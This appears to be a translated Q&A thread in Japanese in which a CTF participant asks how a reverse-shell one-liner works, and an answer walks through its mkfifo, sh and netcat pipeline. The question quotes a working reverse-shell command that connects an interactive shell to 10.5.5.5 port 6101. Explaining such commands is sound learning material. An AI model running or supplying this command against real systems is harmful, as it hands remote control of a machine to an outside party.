このコードは実際に何を行っているのでしょうか?

このコードは実際に何を行っているのでしょうか?

あるプラットフォームで CTF チャレンジを行っているときに、リバース シェルが必要でしたが、動作させることができなかったため、プロセスを調べて、リバース シェルのコードを 1 つ見つけました。

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

実際には動作しましたが、パイプがどのように動作しているのか、どこにデータが送信されているのかなど、実際には理解できません。誰かこれを説明してくれませんか?

答え1

これにより、システム上にリモート制御シェルが設定されます。入力と出力は次のとおりです。

  • cat /tmp/mFIFOから読み取り/tmp/m、それを ... に書き込みます。
  • |/bin/sh -i 2>&1読み取ったコマンドを実行し、その出力 (標準出力と標準エラーの両方) を ... に送信します。
  • |nc 10.5.5.5 610110.5.5.5:6101に接続し、
  • >/tmp/mFIFO。

したがって、リモート システムはコマンドを送信できます。コマンドは を介し​​て送信されnc、 によって FIFO に書き込まれ、 によって読み取られcat、 によって解釈されsh、それらのコマンドの出力は を介し​​てリモート システムに送り返されますnc

関連情報